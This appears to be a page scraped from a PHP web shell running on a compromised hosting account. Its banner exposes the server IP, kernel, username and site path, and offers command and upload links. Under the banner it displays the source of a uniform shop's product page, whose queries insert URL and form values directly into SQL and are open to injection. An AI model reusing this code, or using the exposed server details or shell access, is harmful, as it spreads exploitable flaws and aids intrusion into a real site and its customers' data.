|
Server IP : 82.112.239.40 / Your IP : 216.73.216.81 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u641149403/domains/uniformindia.co.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
ob_start();
session_start();
include('header.php');
$slug=$_GET['slug'];
$querycat="select * from products where slug='$slug'";
$res=mysqli_query($con,$querycat);
$row_cat=mysqli_fetch_array($res);
$parent_id=$row_cat['parent_id'];
$id=$row_cat['id'];
$querypro= "select products.id,products.rating,products.services,products.product_sku,products.estimated_shipping,products.size_guide,products.name,products.other_images,products.description,products.offers,products.specification,product_variant.price,product_variant.color,product_variant.discounted_price,subcategory.image,subcategory.category_id,product_variant.measurement
from subcategory,products join
product_variant on products.id=product_variant.product_id
where products.id=$id && products.category_id=subcategory.category_id order by product_variant.measurement ASC";
$resdeal=mysqli_query($con,$querypro);
$rowd=mysqli_fetch_array($resdeal);
$querycat="select * from products where id='$id'";
$res=mysqli_query($con,$querycat);
$row_cat=mysqli_fetch_array($res);
$user_id=$_SESSION['id'];
$user_data=mysqli_query($con,"SELECT * FROM users WHERE id='$user_id'");
$user=mysqli_fetch_array($user_data);
$ProductVariantData=mysqli_query($con,"SELECT * FROM product_variant WHERE product_id='$id' ORDER BY measurement DESC");
$ProductVariant = $ProductVariantData->fetch_assoc();
// print_r($user);
if(isset($_POST['btncarts']))
{
if(!empty($_SESSION['userid']))
{
$pr_vr_id=$_POST['product_variant'];
$pr_id=$_GET['id'];
// if($pr_id!=$pr_vr_id and $pr_vr_id!=''){
// echo $pr_id=$pr_vr_id;
// }
$uid=$_SESSION['userid'];
$queryin="SELECT * from order_items where user_id='$uid' and product_variant_id='$pr_id'";
$resin=mysqli_query($con,$queryin);
$row=mysqli_fetch_array($resin);
//print_r($row);
$count=mysqli_num_rows($resin);
if($count>=1)
{
$quantity=$row['quantity']+1;
$queryqu="UPDATE order_items set quantity='$quantity' where user_id='$uid' and product_variant_id='$pr_id'";
$resqu=mysqli_query($con,$queryqu);
$msg="Item updated In Cart Successfully";
}elseif($count==0)
{
$quer_join="SELECT * FROM product_variant WHERE product_id='$pr_id'";
$res_join=mysqli_query($con,$quer_join);
$row_join=mysqli_fetch_assoc($res_join);
$product_id=$pr_id;
$product_quantity=1;
$product_price=$row_join['price'];
$psub_total=$product_quantity*$product_price;
$product_userid=$uid;
$queryc="INSERT into order_items(product_variant_id,quantity,price,sub_total,user_id)values('$product_id','$product_quantity','$product_price','$psub_total','$product_userid')";
$resc=mysqli_query($con,$queryc);
$msg="Item added In Cart Successfully";
}
}
else
{
header("location:login.php");
}
}
$rvw=$con->query("SELECT SUM(rating) as total,count('rating') as total_rating FROM reviews WHERE product_id=$id");
$review_avg=mysqli_fetch_assoc($rvw);
$total_rating=$review_avg['total_rating'];
$total = $review_avg['total'];
$avg = $total/$total_rating;
if ($review_avg['total']==0) {
$avg = 0;
}
if ($avg==4) {
$badge = 'badge_warning';
}elseif($avg<=3){
$badge='badge_danger';
}else{
$badge='badge_success';
}
// rating
// Assuming $con is your database connection and $id is the product ID
$reviews = $con->query("SELECT * FROM reviews WHERE product_id=$id");
?>
<style type="text/css">
.btn:focus{
box-shadow: none!important;
}
#quantity{
width: 40px;
text-align: center;
border: 1px solid rgba(0, 0, 0, 0.1) !important;
background-color: #fff!important;
color: #000!important;
}
.product-offer-item{
list-style-type: none;
}
.product-color {
margin-top: 3px;
margin-bottom: 5px;
position: relative;
}
.product-color .title {
display: inline-block;
position: absolute;
top: 50%;
-webkit-transform: translateY(-50%);
transform: translateY(-50%);
font-size: 16px;
font-weight: 600;
}
.product-color .color-list {
display: inline-block;
padding-left: 70px;
padding-top: 20px;
}
li.show-colors {
display: inline-block;
}
.product-color .color-list li {
margin-right: 10px;
}
.product-color .color-list li .box {
width: 25px;
height: 25px;
/*border-radius: 50%;*/
display: inline-block;
position: relative;
cursor: pointer;
}
.product-color .color-list li .box::after {
position: absolute;
content: "";
border: 1px solid rgba(0, 0, 0, 0.3);
width: 26px;
height: 26px;
/*border-radius: 50%;*/
top: -5px;
left: -5px;
opacity: 0;
-webkit-transition: all 0.3s ease-in;
transition: all 0.3s ease-in;
}
.btncart{
background-color: var(--main-color);
color: #fff;
font-size: 14px;
font-weight: 600;
padding: 5px 15px;
margin-top: 3px;
}
.social-icons {
display: flex;
flex-wrap: wrap;
margin: -3px;
}
.social-icons li {
padding: 3px;
list-style-type: none;
}
.social-icons li a i {
width: 30px;
height: 30px;
line-height: 30px;
text-align: center;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
border: 1px solid rgba(255, 255, 255, 0.1);
color: #fff;
-webkit-transition: all ease 0.3s;
-moz-transition: all ease 0.3s;
transition: all ease 0.3s;
}
.fab{
font-weight: 400;
}
.social-icons li a i[class*="twitter"] {
background: #55acee;
}
.social-icons li a i[class*="facebook"] {
background: #3b5998;
}
.social-icons li a i[class*="linkedin"] {
background: #007bb5;
}
.social-icons li a i[class*="pinterest"] {
background: #007bb5;
}
.social-icons li a i[class*="whatsapp"] {
background: #25d366;
}
#Policy{
list-style-type: none;
}
#prod_variant{
font-size: 14px!important;
padding: 4px!important;
width: 278px!important;
border-radius: 5px!important;
height: 30px!important;
}
.ion-ios-remove,.ion-ios-add{
font-size: 28px!important;
}
.badge{
/* color: #fff;*/
font-size: 15px;
/* background-color:var(--main-color);*/
}
.badge-danger{
background-color:var(--main-color);
}
.badge-success{
color: #fff;
background: #28a745;
font-size: 15px
}
.mySlides {
display: none;
text-align: center;
}
.mySlides img{
width: 80%!important;
height: 395px;
padding: 20px 0;
}
/* Add a pointer when hovering over the thumbnail images */
.cursor {
cursor: pointer;
}
/* Next & previous buttons */
.prev,
.next {
cursor: pointer;
position: absolute;
top: 50%;
transform: translateY(-50%);
width: auto;
padding: 16px;
/*margin-top: -50px;*/
color: white;
font-weight: bold;
font-size: 20px;
border-radius: 0 3px 3px 0;
user-select: none;
-webkit-user-select: none;
}
/* Position the "next button" to the right */
.next {
right: 16px;
border-radius: 3px 0 0 3px;
}
/* On hover, add a black background color with a little bit see-through */
.prev:hover,
.next:hover {
background-color: var(--main-color);
color:#ffffff!important;
}
/* Number text (1/3 etc) */
.numbertext {
color: #f2f2f2;
font-size: 12px;
padding: 8px 12px;
position: absolute;
top: 0;
}
/* Container for image text */
.caption-container {
text-align: center;
background-color: #222;
padding: 2px 16px;
color: white;
}
.row:after {
content: "";
display: table;
clear: both;
}
/* Six columns side by side */
/* Add a transparency effect for thumnbail images */
.demo {
opacity: 0.6;
}
.active,
.demo:hover {
opacity: 1;
}
.demo .cursor{
height: 200px;
}
.sidebar-box {
padding: 8px;
}
.ftco-section
{
margin-top:15px;
padding: 0em 0;
}
.categories li a span, .sidelink li a span {
right: -29px;
}
.card.text-center:hover {
background: #cccccc3d;
}
.icons i
{
color:#FD6A02 ;
font-weight: bold;
font-size: 30px;
padding:5px;
}
.othertab
{
background-color:#BEBEBE;
padding:10px;
margin-bottom: 5px;
}
.data
{
margin-top:10px;
padding-top: 10px;
}
.non-veg-icon {
background-image: url(images/nonvegicon.svg)!important;
}
.data1
{
margin-left: 20px;
}
/*.card{
height: 359px;
}*/
select.slc-pr {
width: 88%;
}
.slc-dv {
height: 40px;
}
.imgstyle
{
box-shadow:5px 0px #d2d5d2;
border-style: solid;
border-width: 0.1px;
}
img
{
width:100%;
height:150px;
}
/*.data:hover
{
padding:20px;
}*/
.heading a
{
font-weight: bold;
color: var(--main-color) !important;
text-transform: uppercase;
padding-top: 10px;
}
.prname {
/*height: 46px;*/
font-size: 19px;
}
.viewbtn a
{
border-radius:8px;
background-color: #FD6A02;
color:white !important;
padding:8px;
margin-right:8px;
text-transform: bold;
}
.viewbtn
{
margin: 30px;
}
.non-veg-icon, .veg-icon {
width: 13px;
height: 13px;
left: 5px;
}
.veg-icon {
background-image: url(images/vegicon.svg)!important;
}
.bottmban a
{
background-color: var(--main-color);
color:white !important;
/*font-size: 18px;*/
word-wrap: normal;
text-align: center;
width: 100%;
height: 40px;
display: inline-block;
white-space: nowrap ;
font-size-adjust: 1.0;
box-shadow:5px 0px #d2d5d2;
padding:5px;
}
.bottmban p
{
border-style: solid;
border-width: 0.5px;
}
.ind-icon{
margin-left: 9px;
}
.soon img
{
/*background-position: center;
background-size: cover;*/
height:500px;
width: 100%;
margin:50px;
}
.col-sm-7.dmd {
margin-left: -17px;
}
.card img
{
width: 100%;
text-align:center;
height: 250px;
}
/*-------------------------my css--------*/
p.prname {
text-align: initial;
}
.dsc_prcnt {
text-align: initial;
font-size: 18px;
}
.dsc_price {
text-align: initial;
}
.dsc_prcnt {
margin: 2px;
text-align: center;
font-size: 11px;
}
.act_price {
text-align: initial;
}
del.cut-prc small {
font-size: 16px;
}
.card label p
{
border-radius: 7px !important;
}
.dsc_prcnt {
position: absolute;
left: -26px;
top: 7px;
width: 39% !important;
background: url(../images/discount.png) center no-repeat !important;
margin: 2px;
color: white;
}
span.veg-icon img {
width: 9%;
background: white;
height: 0px;
}
.ind-icon {
text-align: justify;
/* margin-left: 9px; */
float: left !important;
width: 97% !important;
margin-left: 15px !important;
height: 24px;
}
element.style {
}
.card label p {
width: 100% !important;
background-color: var(--main-color);
font-size: 15px;
border-radius: 50px;
}
/*-------------------------my css end-------------------------*/
.card
{
padding: 8px;
border: none;
box-shadow: 0px 6px 30px rgba(7, 36, 95, 0.08);
transition: 0.2s linear;
}
.card:hover{
box-shadow: 0 3px 16px 0 rgba(0,0,0,.11)!important;
}
.card h4 p input
{
word-wrap: normal;
display: inline-block;
font-size: 15px;
}
.card label p
{
background-color: var(--main-color);
font-size: 15px;
border-radius: 50px;
width:200px;
}
.sidebar1
{
width:310px;
float:left;
margin-bottom: : 20px;
}
.sidebar-box h3.heading {
font-size: 18px;
margin-left: 16px;
width: 100% ;
}
.sidebar1 a
{
text-align: center;
margin-left:20px;
border-width: 0.5px;
}
.dsc_prcnt{
margin: 2px;
}
.cut-prc{
margin-right: 2px;
font-size: 16px;
}
del.cut-prc small {
margin-right: 2px;
}
/*.itemsp
{
float:right;
}*/
@media only screen and (min-device-width: 1400px) {
.sidebar1 {
width: 399px;
}}
.card:hover .prname{
color: #007bff;
}
/*`````````````````````````````Media Query`````````````````````````````*/
@media only screen and (max-device-width: 560px) {
.card img {
object-fit: contain;
}
span.veg-icon img {
width: 8%;
}
.viewbtn label{
width: 100% !important;
}
ul.categories li a {
margin: 0;
width: 100%;
padding: 0;
}
.dmd{
width: 29%;
}
ul.categories li {
margin: 0;
width: 80%;
padding: 0;
}
.sidebar-box{
padding: 0 !important;
width: 100% !important;
text-align: center;
}
.sidebar1{
margin: 0px;
margin-bottom: 20px;
padding: 0px;
width: 100% !important;
}
.card {
width: 100%;
margin: 15px 0;
}
.sidebar-box h3.heading {
width: 94%;
}
.card.text-center {
margin-bottom: 12px;
}
.row.itemsp.text-center {
padding: 20px;
margin: 0px;
}
}
.color-list .active{
border: 1px solid gray;
/*border-radius: 50%;*/
width: 34px;
height: 34px;
align-items: center;
padding: 3px 3.7px;
}
.color-list .active1{
border: 1px solid gray;
/*border-radius: 50%;*/
width: 34px;
height: 34px;
align-items: center;
padding: 3px 3.7px;
}
.prod_size{
border: 2px solid #b5a9a9;
/* padding: 5px 10px; */
/* margin-left: 5px;*/
border-radius: 4px;
cursor: pointer;
display: inline-table;
width: 32px;
margin-top: 10px;
text-align: center;
}
.active_color{
/*border-color: var(--main-color);*/
font-weight: bold;
color: var(--main-color);
border: 3px solid var(--main-color)!important;
}
.active_color1{
/*border-color: var(--main-color);*/
font-weight: bold;
color: var(--main-color);
border: 3px solid var(--main-color)!important;
}
#prices{
font-size:30px;
}
.column{
text-align: center;
width: 100%;
/* margin-bottom: 5px;*/
padding: 10px;
border: 1px solid #00000029;
border-right: 0;
}
.column:last-child{
border-bottom: 1px solid #00000029!important;
}
.column img{
width: 100%;
height: 90px;
}
@media only screen and (max-width: 600px) {
.phone_hide{
display:none;
}
.field-2{
width: 100%;
}
}
.btn.btn-primary:hover{
background: #348ec3!important;
}
.available-offers ul li::before{
font-family: "Font Awesome 5 Free";
font-weight: 900;
content: "\f02b";
padding-right: 10px;
color: #16BD49;
}
.available-offers ul{
padding-left: 0;
}
.available-offers ul li{
list-style-type: none;
font-size: 13px;
}
.add_to_wishlist{
cursor: pointer;
position: absolute;
right: 20px;
font-size: 25px;
}
._1s_Smc {
padding-bottom: 16px;
}
._1s_Smc ._1hKmbr {
color: #878787;
padding-right: 8px;
width: 150px;
}
._1s_Smc ._21lJbe:last-child {
padding-bottom: 0;
list-style: none;
color: #212121;
}
._1s_Smc ._21lJbe {
padding-bottom: 5px;
list-style: none;
color: #212121;
}
._3k-BhJ {
border-top: 1px solid #f0f0f0;
padding: 15px;
font-size: 14px;
}
._3k-BhJ ul{
list-style: none;
margin-bottom: 0;
}
._3k-BhJ table td{
padding: 5px;
}
._5pFuey {
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-align-items: center;
-ms-flex-align: center;
align-items: center;
-webkit-justify-content: space-between;
-ms-flex-pack: justify;
justify-content: space-between;
padding: 24px 30px 24px 24px;
font-size: 24px;
font-weight: 500;
line-height: 1.14;
color: #212121;
}
._3dtsli {
border-radius: 2px;
font-size: 12px;
border: 1px solid #f0f0f0;
}
.field-2 {
border: 0;
border-bottom: 2px solid var(--main-color);
height: 35px;
outline: 0;
}
.field-2::-webkit-inner-spin-button,
.field-2::-webkit-outer-spin-button {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
margin: 0;
}
.field-1 {
background: transparent;
color: var(--main-color);
border: 0;
font-weight: 600;
border-bottom: 2px solid var(--main-color);
outline: 0;
}
.field-1:focus,.share_btn:focus{
outline: 0;
}
.bg-light-gray {
background: #fbfbfb;
}
.share_btn{
float: right;
font-size: 15px;
font-weight: 500;
background: transparent;
border: 0;
}
.share_btn i{
color: #858282;
}
body{
background-color: #F1F3F6;
color:#414141;
}
.position-sticky{
top: 30px;
}
.available-offers p{
margin-bottom: 5px;
font-size: 14px;
}
.zoomWindow{
border: 1px solid #00000029!important;
}
.zoomLens{
width: 200px!important;
height: 200px!important;
}
.detail {
display: none;
position: fixed;
width: 40%;
top: 50px;
height: 500px;
z-index: 1;
}
.drift-zoom-pane img{
height: 800px;
}
</style>
<?php
$other_images = json_decode($row_cat['other_images']);
?>
<link rel="stylesheet" type="text/css" href="https://s3-us-west-2.amazonaws.com/s.cdpn.io/164071/drift-basic.css">
<section class="container-fluid bg-white py-2">
<form method="post" action="add_to_cart.php" class="add_frm">
<div class="row mx-auto" style="width: 100%;">
<div class="col-md-5 mb-3 pt-lg-5 pt-3 position-relative">
<div class="row position_sticky">
<div class="col-md-2 pr-0 phone_hide">
<div class="row">
<div class="column border-bottom-0">
<img class="demo cursor" src="admin/<?php echo $row_cat['image']; ?>" onclick="currentSlide(1)" >
</div>
<?php $x=2; for($i=0;$i<count($other_images);$i++){ ?>
<div class="column border-bottom-0">
<img class="demo cursor" src="admin/<?php echo $other_images[$i]; ?>" onclick="currentSlide(<?=$x++;?>)" >
</div>
<?php } ?>
</div>
</div>
<div class="col-md-10">
<div class="border">
<a href="https://api.whatsapp.com/send?phone=91<?php echo $user['mobile']; ?>&text=https://uniformindia.co.in/<?php echo $url; ?>" class="ShareBtn" target="_blank"><i class="fas fa-share"></i></a>
<?php
if (isset($_SESSION['userid'])) {
$sql = "SELECT * FROM wishlist WHERE product_id='".$id."' AND user_id='".$_SESSION['userid']."'";
$wish=mysqli_query($con,$sql);
$num_rows=mysqli_num_rows($wish);
if($num_rows > 0){
$rows=mysqli_fetch_assoc($wish);
echo '<a onclick="wishlist_del('.$rows["id"].')" class="add_to_wishlist" data-toggle="tooltip" data-placement="top" title="Remove Wishlist"><i style="color:red;" class="fa fa-heart"></i></a>';
}else{
echo '<a onclick="wishlist('.$id.')" class="add_to_wishlist" data-toggle="tooltip" data-placement="top" title="Add To Wishlist"><i class="fa fa-heart"></i></a>';
}
}else{
echo '<a href="login.php" class="add_to_wishlist" data-toggle="tooltip" data-placement="top" title="Add To Wishlist"><i class="fa fa-heart"></i></a>';
}
?>
<div class="mySlides">
<img src="admin/<?php echo $row_cat['image']; ?>" data-zoom="admin/<?php echo $row_cat['image']; ?>" class="demo-trigger">
</div>
<?php for($i=0;$i<count($other_images);$i++){ ?>
<div class="mySlides" id="color_img">
<img src="admin/<?php echo $other_images[$i]; ?>" data-zoom="admin/<?php echo $other_images[$i]; ?>" class="demo-trigger<?=$i;?>">
</div>
<?php } ?>
<a class="prev" onclick="plusSlides(-1)">❮</a>
<a class="next" onclick="plusSlides(1)">❯</a>
<script>
let slideIndex = 1;
showSlides(slideIndex);
function plusSlides(n) {
showSlides(slideIndex += n);
}
function currentSlide(n) {
showSlides(slideIndex = n);
}
function showSlides(n) {
let i;
let slides = document.getElementsByClassName("mySlides");
let dots = document.getElementsByClassName("demo");
let captionText = document.getElementById("caption");
if (n > slides.length) {slideIndex = 1}
if (n < 1) {slideIndex = slides.length}
for (i = 0; i < slides.length; i++) {
slides[i].style.display = "none";
}
for (i = 0; i < dots.length; i++) {
dots[i].className = dots[i].className.replace(" active", "");
}
slides[slideIndex-1].style.display = "block";
dots[slideIndex-1].className += " active";
captionText.innerHTML = dots[slideIndex-1].alt;
}
</script>
</div>
</div>
<div class="col-md-12">
<div class="product-color" data-key="false">
<div class="script">
</div>
<!-- <input type="hidden" name="color" id="colorss" class="colours"> -->
</div>
<div class="row product-details">
<?php $url = $_SERVER['REQUEST_URI']; ?>
<input type="hidden" id="quantity_to_add" value="1" name="quantity" class="form-control input-number">
<input type="hidden" name="page" value="<?php echo $url; ?>">
<input type="hidden" name="prd_id_exc" value="<?php echo $id; ?>" id="productid">
<?php if(!empty($_SESSION['userid'])){ ?>
<div class="col-md-6 col-6 pr-1">
<input type="submit" class="btn btn btn-block text-white" name="btncarts" value="Add To Cart" style="margin-top: 2px;font-weight: 600;border-radius:2px;padding:12px 0;background:#FF9F00;">
</div>
<div class="col-md-6 col-6 pl-1">
<input onclick="buy_now(<?php echo $id; ?>)" type="button" value="Buy Now" class="btn btn-block text-white" style="margin-top: 2px;font-weight: 600;border-radius:2px;padding:12px 0;background:#FB641B;">
</div>
<?php }else{ ?>
<div class="col-md-6 col-6 pr-1">
<!-- <a class="btn btn btn-block text-white" href="login.php" style="margin-top: 2px;font-weight: 600;border-radius:2px;padding:12px 0;background:#FF9F00;"><i class="fas fa-shopping-cart pr-2"></i> Add To Cart</a> -->
<input type="submit" class="btn btn btn-block text-white" name="btncarts" value="Add To Cart" style="margin-top: 2px;font-weight: 600;border-radius:2px;padding:12px 0;background:#FF9F00;">
</div>
<div class="col-md-6 col-6 pl-1 d-none d-lg-block">
<!-- <a class="btn btn-block text-white" href="login.php" style="margin-top: 2px;font-weight: 600;border-radius:2px;padding:12px 0;background:#FB641B;"><i class="fa fa-bolt pr-2"></i> Buy Now</a> -->
<input type="submit" class="btn btn btn-block text-white" name="btncarts" value="Buy Now" style="margin-top: 2px;font-weight: 600;border-radius:2px;padding:12px 0;background:#FB641B;">
</div>
<div class="col-md-6 col-6 pl-1 d-lg-none">
<a class="btn btn-block text-white" href="javascript:void[0]" onclick="openModal()" style="margin-top: 2px;font-weight: 600;border-radius:2px;padding:12px 0;background:#FB641B;"><i class="fa fa-bolt pr-2"></i> Buy Now</a>
</div>
<?php } ?>
</div>
</div>
</div>
</div>
<div class="col-md-7 pt-lg-5 position-relative">
<div class="detail"></div>
<h5 class="productName"><?php echo $rowd['name']; ?> <a href="https://api.whatsapp.com/send?phone=91<?php echo $user['mobile']; ?>&text=https://uniformindia.co.in/<?php echo $url; ?>" class="share_btn" target="_blank"><i class="fas fa-share"></i> Share</a></h5>
<div class="phone_d_flex">
<div class="cities text-left mb-lg-2">(
<?php
$cities=$con->query("SELECT * FROM city");
while($city=mysqli_fetch_array($cities)){
?>
<span class="h5"><?=$city['name'];?></span>
<?php } ?>
)
</div>
<span class="badge px-2 py-1 <?=$badge;?>"><?=round($avg,1);?> ★ </span>
</div>
<p class="price mt-3">
<span>
<b>
<span id="prices">₹<span><?php echo $rowd['discounted_price']; ?></span></span>
</b>
</span>
<span class="ml-2" style="font-size: 13px;"><del>Mrp : ₹<span id="mrp"><?php echo $rowd['price'];?></span></del></span>
<span class="badge px-3 py-1 ml-5"><span id="off"><?php $dis=intval($rowd['price'])-intval($rowd['discounted_price']);
if($dis>0){ echo round($dis*100/$rowd['price'],1);} else{ echo '0';} ?></span>% off</span>
<br>
<span class="max-variant-price">To <?=$ProductVariant['discounted_price']?></span>
</p>
<!-- <p class="text-success">In Stock</p> -->
<!-- <li class="product-offer-item"><i class="fa fa-tag"></i> <span class="h6">Estimated Shipping Time:</span> <?php echo $rowd['estimated_shipping']; ?>
</li> -->
<li class="product-offer-item product-id"><i class="fa fa-tag"></i> <span class="h6">Product SKU: </span> <?php echo $rowd['product_sku']; ?>
</li>
<li class="product-offer-item product-id mt-2">
<input type="hidden" id="prod_variant">
<div class="row mt-3">
<div class="col-lg-4 col-6">
<h6>Size<span class="text-danger">*</span> </h6>
<select class="py-2 px-3 w-100" id="prod_variant_id" name="prd_id" required onchange="get_variant(this.value)">
<option value="">--- Please Select ---</option>
<?php
$resr=mysqli_query($con,"SELECT * FROM product_variant WHERE product_id='$id' ORDER BY measurement ASC");
$cnt=1;
while($row_vr=mysqli_fetch_array($resr)) {
$unit_id=$row_vr['measurement_unit_id'];?>
<option value="<?php echo $row_vr['id']; ?>" <?php if($rowd['measurement']==$row_vr['measurement']){echo 'selected';}?>><?php echo $row_vr['measurement'] ?></option>
<?php } ?>
</select>
</div>
<div class="col-lg-4 col-6">
<h6>Class<span class="text-danger">*</span> </h6>
<select name="classes" id="classes" required class="py-2 px-3 w-100">
<option value=""> --- Please Select --- </option>
<option value="Nursery">Nursery</option>
<option value="LKG">LKG</option>
<option value="UKG">UKG</option>
<option value="1st">1st</option>
<option value="2nd">2nd</option>
<option value="3rd">3rd</option>
<option value="4th">4th</option>
<option value="5th">5th</option>
<option value="6th">6th</option>
<option value="7th">7th</option>
<option value="8th">8th</option>
<option value="9th">9th</option>
<option value="10th">10th</option>
<option value="11th">11th</option>
<option value="12th">12th</option>
</select>
</div>
</div>
</li>
<li class="product-offer-item product-id mt-2">
<div class="mt-3">
<a href="admin/<?php echo $rowd['size_guide']; ?>" data-fancybox="gallery" class="btn btn-theme py-1 px-3 btn-sm">Size Guide</a>
</div>
</li>
<div class="product-color" data-key="false">
<div class="title">Color :</div>
<div class="script">
</div>
<ul class="color-list">
<input type="hidden" name="color" id="colorss" class="colours">
<div id="variant_color">
<?php
$ids = explode(',', $rowd['color']);
$counts=0;
$x=1;
foreach($ids as $color_code){
$sqli=mysqli_query($con,"SELECT * FROM colors WHERE id='".$color_code."'");
while($color=mysqli_fetch_array($sqli)) { ?>
<li class="active<?php echo $x++?> show-colors" id="get_data<?php echo $counts++; ?>" onclick="color(<?php echo $color['id'] ?>)" data="<?php echo $color['id'] ?>">
<span class="box" data-color="<?php echo $color['color_name'] ?>" style="background-color: <?php echo $color['color_name'] ?>">
</span>
</li>
<?php } } ?>
</div>
</ul>
</div>
<div class="available-offers">
<h5>Available offers</h5>
<?php echo $rowd['offers']; ?>
</div>
<div class="row mt-3">
<div class="col-md-12">
<div class="my-2" id="msg"></div>
</div>
<div class="col-md-2 col-3">
<label class="h6">Delivery</label>
</div>
<div class="col-md-10 col-9">
<div class="d-flex">
<input type="number" id="pincode" class="field-2" placeholder="Enter Your Pincode">
<button type="button" type="text" class="check_pincode field-1" onclick="check_pincode()">Check</button>
</div>
<div class="estimated-time">
Estimated Shipping Time: <?php echo $rowd['estimated_shipping']; ?><br>
<small>if ordered before 11:59 AM</small>
</div>
<div class="refundPolicy">
<div class="YhUgfO"><a href="<?=SITE_URL?>return-policy.php" style="color: #2a55e5!important;" target="_blank">Cancellation and Return Policy<span class="question">?</span></a></div>
</div>
</div>
<div class="col-md-2 col-3 mt-3">
<label class="h6 mb-0 mt-1">Services</label>
</div>
<div class="col-md-10 col-9 mt-3">
<div class="text-dark">
<!-- <?php echo $rowd['services']; ?> -->
<div class="refundPolicy mt-0">Cash on Delivery available <span class="question">?</span>
<div id="popover-card" class="popoverCard">
<div class="popup-title">How do I place Cash on Delivery (C-o-D) order?</div>
<p>All items that have the 'Cash on Delivery Available' icon are valid for order by Cash on Delivery. Add the
item(s) to your cart and proceed to checkout. When prompted to choose a payment option, select 'Pay
By Cash on Delivery'. Enter the CAPTCHA text as shown, for validation. Once verified and confirmed,
your order will be processed for shipment in the time specified, from the date of confirmation. You will
be required to make a cash-only payment to our courier partner at the time of delivery of your order to
complete the payment.</p>
<div class="popup-title">Terms &amp; Conditions</div>
<ul>
<li>e-Gift Vouchers or Store Credit cannot be used for C-o-D orders.</li>
<li>Cash-only payment at the time of delivery.</li>
</ul>
</div>
</div>
</div>
</div>
<div class="col-md-12 mt-3">
<label class="h6">Description</label>
</div>
<div class="col-md-12 mt-3">
<div class="unorderlist">
<?php echo $rowd['description']; ?>
</div>
</div>
</div>
<div class="_3dtsli">
<div class="_5pFuey">Specifications</div>
<div class="_3k-BhJ">
<?php echo $rowd['specification']; ?>
</div>
</div>
<div class="ratings-reviews">
<h2>Ratings & Reviews</h2>
<a href="product-review?id=<?=$id?>">
<div class="row align-items-center">
<div class="col-lg-3 col-4">
<div class="rating-overview">
<div class="total"><?=round($avg,1);?> ★ <br><small><?=$reviews->num_rows;?> Ratings & Reviews</small></div>
</div>
</div>
<div class="col-lg-6 col-8">
<?php
// Initialize an array to count reviews for each star rating
$ratingCounts = [5 => 0, 4 => 0, 3 => 0, 2 => 0, 1 => 0];
// Count the number of reviews for each star rating
while ($review = $reviews->fetch_assoc()) {
$rating = $review['rating'];
if (isset($ratingCounts[$rating])) {
$ratingCounts[$rating]++;
}
}
// Calculate the total number of reviews
$totalReviews = array_sum($ratingCounts);
// Function to calculate the percentage width for the bar
function calculatePercentage($count, $total) {
return $total > 0 ? ($count / $total) * 100 : 0;
}
// Function to determine the color based on the percentage
function getBarColor($percentage) {
if ($percentage >= 80) {
return '#4CAF50'; // Green
} elseif ($percentage >= 50) {
return '#FFC107'; // Yellow
} else {
return '#FF0000'; // Red
}
}
?>
<div class="rating-bars">
<?php foreach ($ratingCounts as $stars => $count): ?>
<?php $percentage = calculatePercentage($count, $totalReviews); ?>
<div class="rating-bar">
<div class="stars"><?php echo $stars; ?>★</div>
<div class="bar">
<div class="fill" style="width: <?php echo $percentage; ?>%; background-color: <?php echo getBarColor($percentage); ?>;"></div>
</div>
<div class="count"><?php echo $count; ?></div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
</a>
</div>
<div class="_3dtsli">
<?php
$reviewss=$con->query("SELECT * FROM reviews WHERE product_id=$id LIMIT 3");
while($review=mysqli_fetch_array($reviewss)){
if ($review['rating']==4) {
$badge = 'badge-warning';
}elseif($review['rating']<=3){
$badge='badge-danger';
}else{
$badge='badge-success';
}
?>
<div class="_3k-BhJ">
<div class="rating_star mb-4"><span class="badge <?=$badge;?>"><?php echo $review['rating']; ?>.0 ★</span></div>
<?php echo $review['review']; ?>
</div>
<?php } ?>
</div>
<div class="_3dtsli">
<div class="_3k-BhJ border-top-0">
<a class="all-review-btn" href="product-review?id=<?=$id?>">All <?=$reviews->num_rows;?> reviews <span><i class="fa fa-chevron-right"></i></span></a>
</div>
</div>
</div>
</div>
</form>
</section>
<div class="container-fluid bg-white mt-3 pt-4">
<ul class="nav nav-tabs">
<li class="nav-item">
<a class="nav-link active" data-toggle="tab" href="#size_guide">Size Guide</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="tab" href="#Description">Description</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="tab" href="#Policy">Buy / Return Policy</a>
</li>
</ul>
<!-- Tab panes -->
<div class="tab-content pb-3">
<div id="size_guide" class="container-fluid tab-pane active"><br>
<p><img src="admin/<?php echo $rowd['size_guide']; ?>" class="img-fluid w-50"></p>
</div>
<div id="Policy" class="container-fluid tab-pane fade"><br>
<div>
<h6>Services:</h6>
<li>30 Day Return Policy</li>
<li>Cash on Delivery available</li>
<li>Free Delivery</li>
</div>
<div class="mt-3">
<h6>Highlights:</h6>
<li>Regular Fit.</li>
<li>Full sleeves.</li>
<li>70% cotton, 30% polyester.</li>
<li>Easy to wear and versatile as Casual.</li>
<li>Machine wash, tumble dry.</li>
</div>
</div>
<div id="Description" class="container-fluid tab-pane fade"><br>
<p><?php echo $rowd['description']; ?></p>
</div>
</div>
</div>
<!-- ==============related product================== -->
<style>
.smd span {cursor:pointer; }
.smd .minus, .plus{
width:34px;
height:32px;
font-weight: bold;
background:#f2f2f2;
border-radius:4px;
padding:2px;
border:1px solid #ddd;
display: inline-block;
vertical-align: middle;
text-align: center;
}
.smd input{
height:32px;
width: 34px;
text-align: center;
font-size: 17px;
font-weight: bold;
border:1px solid #ddd;
border-radius:4px;
display: inline-block;
vertical-align: middle;
}
.wishlist{
position: absolute;
right: 10px;
top: 5px;
font-size: 20px;
cursor: pointer;
}
.no_data img{
width: 50%;
height: 330px;
}
</style>
<section class="ftco-section ftco-category ftco-no-pt my-3">
<div class="container-fluid bg-white pb-3">
<div class="heading pb-5"><h3><a>Related Products</a></h3></div>
<div class="">
<div class="row itemsp">
<?php
$cat_id=$row_cat['category_id'];
